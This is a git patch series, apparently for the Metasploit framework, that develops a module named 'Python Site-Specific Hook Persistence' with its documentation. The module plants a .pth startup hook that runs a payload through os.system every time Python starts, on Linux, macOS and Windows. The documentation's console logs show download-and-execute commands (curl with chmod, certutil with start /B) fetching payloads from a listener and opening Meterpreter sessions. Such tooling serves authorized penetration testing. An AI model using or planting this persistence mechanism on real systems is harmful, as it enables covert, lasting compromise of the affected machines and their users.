From 2f361af3167a1d18dd64c689cdb897b34acdb85a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 10 Nov 2025 16:27:59 +0100 Subject: [PATCH 1/9] Module init --- .../persistence/python_site_specific_hook.rb | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 modules/exploits/multi/persistence/python_site_specific_hook.rb diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb new file mode 100644 index 0000000000000..866fe588e7726 --- /dev/null +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + # includes: is_root? + include Msf::Post::Linux::Priv + # includes writable?, upload_file, upload_and_chmodx, exploit_data + include Msf::Post::File + # includes generate_payload_exe + include Msf::Exploit::EXE + # includes register_files_for_cleanup + include Msf::Exploit::FileDropper + # defines install_persistence and does our cleanup + # WritableDir + include Msf::Exploit::Local::Persistence + # runs check automatically + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sample Linux Persistence', + 'Description' => %q{ + This exploit sample shows how a persistence module could be written + for a linux computer. + }, + 'License' => MSF_LICENSE, + # The place to add your name/handle and email. Twitter and other contact info isn't handled here. + # Add reference to additional authors, like those creating original proof of concepts or + # reference materials. + # It is also common to comment in who did what (PoC vs metasploit module, etc) + 'Author' => [ + 'msutovsky-r7', # msf module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_PYTHON ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions + 'Targets' => [[ 'Auto', {} ]], + 'References' => [ + [ 'OSVDB', '12345' ], + [ 'EDB', '12345' ], + [ 'URL', 'http://www.example.com'], + [ 'CVE', '1978-1234'], + ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289 + ], + 'DisclosureDate' => '2023-11-29', + + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def get_python_version + cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ + Regexp.last_match(1) + end + + def check + CheckCode::Vulnerable('example app is installed') + end + + def install_persistence + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) + + vprint_status("Writing backdoor to #{backdoor}") + + cmd_exec("mkdir -p $HOME/.local/lib/python#{get_python_version}/site-packages") + + write_file("$HOME/.local/lib/python#{get_python_version}/site-packages/#{file_name}.pth", payload.encoded) + end +end From 546856967a79a21d32dd5ef36ff872353907086f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 11 Nov 2025 08:39:40 +0100 Subject: [PATCH 2/9] Enhances payload delivery, adds docs base --- .../persistence/python_site_specific_hook.md | 44 +++++++++++++++++++ .../persistence/python_site_specific_hook.rb | 14 ++---- 2 files changed, 48 insertions(+), 10 deletions(-) create mode 100644 documentation/modules/exploit/multi/persistence/python_site_specific_hook.md diff --git a/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md new file mode 100644 index 0000000000000..8aae87977d9b0 --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md @@ -0,0 +1,44 @@ +The following is the recommended format for module documentation. But feel free to add more content/sections to this. +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. + +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +code or console output +``` + +For example: + +To do this specific thing, here's how you do it: + +``` +msf > use module_name +msf auxiliary(module_name) > set POWERLEVEL >9000 +msf auxiliary(module_name) > exploit +``` diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index 866fe588e7726..fa1b65c494a0d 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -24,21 +24,17 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Sample Linux Persistence', + 'Name' => 'Python Site-Specific Hook Persistence', 'Description' => %q{ This exploit sample shows how a persistence module could be written for a linux computer. }, 'License' => MSF_LICENSE, - # The place to add your name/handle and email. Twitter and other contact info isn't handled here. - # Add reference to additional authors, like those creating original proof of concepts or - # reference materials. - # It is also common to comment in who did what (PoC vs metasploit module, etc) 'Author' => [ 'msutovsky-r7', # msf module ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_PYTHON ], + 'Platform' => ['linux', 'windows'], + 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions 'Targets' => [[ 'Auto', {} ]], 'References' => [ @@ -76,10 +72,8 @@ def check def install_persistence file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) - vprint_status("Writing backdoor to #{backdoor}") - cmd_exec("mkdir -p $HOME/.local/lib/python#{get_python_version}/site-packages") - write_file("$HOME/.local/lib/python#{get_python_version}/site-packages/#{file_name}.pth", payload.encoded) + fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("/home/msfuser/.local/lib/python#{get_python_version}/site-packages/#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) end end From 7ac1fd9de072bb970c04af7b1168b5dcf4c93c06 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 11 Nov 2025 10:21:08 +0100 Subject: [PATCH 3/9] Adds support for Windows --- .../persistence/python_site_specific_hook.rb | 33 +++++++++++++++---- 1 file changed, 27 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index fa1b65c494a0d..b836180b32a70 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Author' => [ 'msutovsky-r7', # msf module ], - 'Platform' => ['linux', 'windows'], + 'Platform' => ['linux', 'windows', 'osx'], 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions 'Targets' => [[ 'Auto', {} ]], @@ -60,20 +60,41 @@ def initialize(info = {}) ] end + def get_hooks_path + case session.platform + when 'windows', 'win' + @hooks_path = "C:\\Program Files\\Python#{@python_version.sub('.', '')}\\lib\\site-packages\\" + when 'osx', 'linux' + @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") + end + end + def get_python_version - cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ - Regexp.last_match(1) + case session.platform + when 'windows', 'win' + cmd_exec('python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul') + when 'osx', 'linux' + cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ + end + @python_version = Regexp.last_match(1) end def check - CheckCode::Vulnerable('example app is installed') + get_python_version + + return CheckCode::Safe('Python not present on the system') unless @python_version + + CheckCode::Vulnerable('Python is present on the system') end def install_persistence + get_python_version unless @python_version + get_hooks_path unless @hooks_path + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) - cmd_exec("mkdir -p $HOME/.local/lib/python#{get_python_version}/site-packages") + cmd_exec("mkdir -p #{@hooks_path}") - fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("/home/msfuser/.local/lib/python#{get_python_version}/site-packages/#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) + fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) end end From d238b4626d7f74fb124385238405fb2f67f5521f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 11 Nov 2025 15:57:30 +0100 Subject: [PATCH 4/9] Adds Python version extraction for Windows --- .../persistence/python_site_specific_hook.rb | 32 ++++++++----------- 1 file changed, 14 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index b836180b32a70..c5a67abb2606e 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -26,8 +26,7 @@ def initialize(info = {}) info, 'Name' => 'Python Site-Specific Hook Persistence', 'Description' => %q{ - This exploit sample shows how a persistence module could be written - for a linux computer. + TODO }, 'License' => MSF_LICENSE, 'Author' => [ @@ -35,35 +34,29 @@ def initialize(info = {}) ], 'Platform' => ['linux', 'windows', 'osx'], 'Arch' => [ ARCH_CMD ], - 'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions + 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ - [ 'OSVDB', '12345' ], - [ 'EDB', '12345' ], - [ 'URL', 'http://www.example.com'], - [ 'CVE', '1978-1234'], + [ 'URL', 'https://docs.python.org/3/library/site.html'], + # TODO ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289 ], + # TODO 'DisclosureDate' => '2023-11-29', - 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [], - 'SideEffects' => [] + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] } ) ) - - register_advanced_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) - ] end def get_hooks_path case session.platform when 'windows', 'win' - @hooks_path = "C:\\Program Files\\Python#{@python_version.sub('.', '')}\\lib\\site-packages\\" + @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" when 'osx', 'linux' @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") end @@ -72,16 +65,17 @@ def get_hooks_path def get_python_version case session.platform when 'windows', 'win' - cmd_exec('python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul') + cmd_exec('cmd.exe', '/c python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul') =~ /(\d+.\d+).\d+/ when 'osx', 'linux' cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ end + @python_version = Regexp.last_match(1) end def check get_python_version - + puts @python_version return CheckCode::Safe('Python not present on the system') unless @python_version CheckCode::Vulnerable('Python is present on the system') @@ -93,7 +87,9 @@ def install_persistence file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) - cmd_exec("mkdir -p #{@hooks_path}") + if session.platform == 'osx' || session.platform == 'linux' + cmd_exec("mkdir -p #{@hooks_path}") + end fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) end From 81abe9d9645a927e46ba7ed56a41d6127226703c Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 11 Nov 2025 16:30:30 +0100 Subject: [PATCH 5/9] Cleans up code --- .../multi/persistence/python_site_specific_hook.rb | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index c5a67abb2606e..10ae97bdfb8f2 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -6,18 +6,11 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html - # includes: is_root? include Msf::Post::Linux::Priv - # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File - # includes generate_payload_exe include Msf::Exploit::EXE - # includes register_files_for_cleanup include Msf::Exploit::FileDropper - # defines install_persistence and does our cleanup - # WritableDir include Msf::Exploit::Local::Persistence - # runs check automatically prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -75,7 +68,7 @@ def get_python_version def check get_python_version - puts @python_version + return CheckCode::Safe('Python not present on the system') unless @python_version CheckCode::Vulnerable('Python is present on the system') From 92c2f2516db5f4e0315f53694256652ab65864d9 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 17 Nov 2025 11:42:42 +0100 Subject: [PATCH 6/9] Adds option for user-specified path --- .../multi/persistence/python_site_specific_hook.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index 10ae97bdfb8f2..af952f6000bb1 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -44,9 +44,16 @@ def initialize(info = {}) } ) ) + register_options([ + OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']) + ]) end def get_hooks_path + unless datastore['PYTHON_HOOK_PATH'] + @hooks_path = datastore['PYTHON_HOOK_PATH'] + return + end case session.platform when 'windows', 'win' @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" From 1241cb724e5771cc37327fce9de9020668ac0bbb Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 19 Nov 2025 06:58:56 +0100 Subject: [PATCH 7/9] Adds MITRE reference, adds additional datastore options, code cleanup --- lib/msf/core/mitre/attack/technique.rb | 2 +- .../persistence/python_site_specific_hook.rb | 29 ++++++++++++++----- 2 files changed, 22 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/mitre/attack/technique.rb b/lib/msf/core/mitre/attack/technique.rb index 25f30ea3d775f..5f05cc8eb9716 100644 --- a/lib/msf/core/mitre/attack/technique.rb +++ b/lib/msf/core/mitre/attack/technique.rb @@ -796,7 +796,7 @@ module Technique T1546_015_COMPONENT_OBJECT_MODEL_HIJACKING = 'T1546.015' T1546_016_INSTALLER_PACKAGES = 'T1546.016' T1546_017_UDEV_RULES = 'T1546.017' - + T1546_018_PYTHON_STARTUP_HOOKS = 'T1546.018' T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION = 'T1547' T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER = 'T1547.001' T1547_002_AUTHENTICATION_PACKAGE = 'T1547.002' diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index af952f6000bb1..bf0768e877af7 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -31,11 +31,9 @@ def initialize(info = {}) 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'URL', 'https://docs.python.org/3/library/site.html'], - # TODO - ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289 + ['ATT&CK', Mitre::Attack::Technique::Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], ], - # TODO - 'DisclosureDate' => '2023-11-29', + 'DisclosureDate' => '2012-09-29', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -45,20 +43,33 @@ def initialize(info = {}) ) ) register_options([ - OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']) + OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']), + OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']]) ]) end def get_hooks_path - unless datastore['PYTHON_HOOK_PATH'] + unless datastore['PYTHON_HOOK_PATH'].blank? @hooks_path = datastore['PYTHON_HOOK_PATH'] return end case session.platform when 'windows', 'win' - @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" + + case datastore['EXECUTION_TARGET'] + when 'USER' + @hooks_path = "C:/Users/#{cmd_exec('whoami')}/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/" + when 'SYSTEM' + @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" + end when 'osx', 'linux' - @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") + + case datastore['EXECUTION_TARGET'] + when 'USER' + @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") + when 'SYSTEM' + @hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/" + end end end @@ -83,7 +94,9 @@ def check def install_persistence get_python_version unless @python_version + print_status("Detected Python version #{@python_version}") get_hooks_path unless @hooks_path + print_status("Got path to site-specific hooks #{@hooks_path}") file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) From ec8906bbd4d829df99fe994e62d548a2a28b7532 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 19 Nov 2025 07:17:07 +0100 Subject: [PATCH 8/9] Adds docs --- .../persistence/python_site_specific_hook.md | 67 +++++++++++++------ .../persistence/python_site_specific_hook.rb | 4 +- 2 files changed, 47 insertions(+), 24 deletions(-) diff --git a/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md index 8aae87977d9b0..2bbc24f725929 100644 --- a/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md +++ b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md @@ -1,44 +1,67 @@ -The following is the recommended format for module documentation. But feel free to add more content/sections to this. -One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop -functioning in 5+ years, so giving links or specific examples can be VERY helpful. - ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. +This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in `site-specific` or `dist-packages` directories, any lines beginning with `import` will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. ## Verification Steps Example steps in this format (is also in the PR): -1. Install the application + 1. Start msfconsole -1. Do: `use [module path]` +1. Get a session +1. Do: `use multi/persistence/python_site_specific_hook` +1. Do: `set session #` 1. Do: `run` -1. You should get a shell. ## Options -List each option and how to use it. -### Option Name +### PYTHON_HOOK_PATH + +If user has session to target machine with non-typical Python paths, they can set their own path to Python hooks. -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. +### EXECUTION_TARGET + +Python has multiple locations, where it can store startup hooks. This option specifies if the target location should be SYSTEM one - i.e. should affect all users - or USER one, which targets current user. ## Scenarios -Specific demo of using the module that might be useful in a real world scenario. -### Version and OS +### Linux pop-os 6.17.4-76061704-generic ``` -code or console output -``` +msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true +[*] Command to run on remote host: curl -so ./xtLDGMnHcvHv http://192.168.3.7:8080/EO6WzfXF6CGyqdBiy1rT5w;chmod +x ./xtLDGMnHcvHv;./xtLDGMnHcvHv& +[*] Exploit running as background job 9. +[*] Exploit completed, but no session was created. -For example: +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w +msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Python is present on the system +[*] Detected Python version 3.10 +[*] Got path to site-specific hooks /usr/local/lib/python3.10/dist-packages/ +[*] Creating directory /usr/local/lib/python3.10/dist-packages/ +[*] /usr/local/lib/python3.10/dist-packages/ created +[*] Client 192.168.3.7 requested /EO6WzfXF6CGyqdBiy1rT5w +[*] Sending payload to 192.168.3.7 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 192.168.3.7 +[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 192.168.3.7:34170) at 2025-11-19 07:04:54 +0100 -To do this specific thing, here's how you do it: +msf exploit(multi/persistence/python_site_specific_hook) > sessions 4 +[*] Starting interaction with 4... +meterpreter > sysinfo +Computer : 172.16.187.129 +OS : Pop 22.04 (Linux 6.17.4-76061704-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: ms + +``` + +### Windows 10.0.15063 ``` -msf > use module_name -msf auxiliary(module_name) > set POWERLEVEL >9000 -msf auxiliary(module_name) > exploit + ``` diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index bf0768e877af7..9afdd8e2440f5 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -19,7 +19,7 @@ def initialize(info = {}) info, 'Name' => 'Python Site-Specific Hook Persistence', 'Description' => %q{ - TODO + This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -101,7 +101,7 @@ def install_persistence file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) if session.platform == 'osx' || session.platform == 'linux' - cmd_exec("mkdir -p #{@hooks_path}") + mkdir(@hooks_path) end fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) From 197dbf921dda9d72d82c38947128d897c39fee14 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 19 Nov 2025 07:52:54 +0100 Subject: [PATCH 9/9] Fixes Windows persistence --- .../persistence/python_site_specific_hook.md | 34 ++++++++++++++++++- .../persistence/python_site_specific_hook.rb | 6 ++-- 2 files changed, 36 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md index 2bbc24f725929..01426f562534e 100644 --- a/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md +++ b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md @@ -5,7 +5,6 @@ This module leverages Python's startup mechanism, where some files can be automi ## Verification Steps Example steps in this format (is also in the PR): - 1. Start msfconsole 1. Get a session 1. Do: `use multi/persistence/python_site_specific_hook` @@ -63,5 +62,38 @@ Server username: ms ### Windows 10.0.15063 ``` +msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true +[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/P0P_l8MTdDPpi4BXoUKxZw %TEMP%\RAKYJqUXyJK.exe & start /B %TEMP%\RAKYJqUXyJK.exe +[*] Exploit running as background job 7. +[*] Exploit completed, but no session was created. +msf exploit(multi/persistence/python_site_specific_hook) > +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /P0P_l8MTdDPpi4BXoUKxZw +[*] Started reverse TCP handler on 192.168.3.7:9999 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Python is present on the system +[*] Detected Python version 3.13 +[*] Got path to site-specific hooks C:\Users\msfuser/AppData/Local/Programs/Python/Python313/Lib/site-packages/ +[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw +[*] Sending payload to 10.5.132.155 (Microsoft-CryptoAPI/10.0) +[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw +[*] Sending payload to 10.5.132.155 (CertUtil URL Agent) +[*] Sending stage (230982 bytes) to 10.5.132.155 +[*] Meterpreter session 3 opened (192.168.3.7:9999 -> 10.5.132.155:51726) at 2025-11-19 07:52:00 +0100 + +msf exploit(multi/persistence/python_site_specific_hook) > sessions 3 +[*] Starting interaction with 3... + +meterpreter > sysinfo +Computer : WIN10_1703_1018 +OS : Windows 10 1703 (10.0 Build 15063). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN10_1703_1018\msfuser ``` diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb index 9afdd8e2440f5..07276f8c9c48c 100644 --- a/modules/exploits/multi/persistence/python_site_specific_hook.rb +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'URL', 'https://docs.python.org/3/library/site.html'], - ['ATT&CK', Mitre::Attack::Technique::Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], + ['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS], ], 'DisclosureDate' => '2012-09-29', 'DefaultTarget' => 0, @@ -58,7 +58,7 @@ def get_hooks_path case datastore['EXECUTION_TARGET'] when 'USER' - @hooks_path = "C:/Users/#{cmd_exec('whoami')}/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/" + @hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/") when 'SYSTEM' @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" end @@ -76,7 +76,7 @@ def get_hooks_path def get_python_version case session.platform when 'windows', 'win' - cmd_exec('cmd.exe', '/c python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul') =~ /(\d+.\d+).\d+/ + cmd_exec('cmd.exe', '/c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/ when 'osx', 'linux' cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ end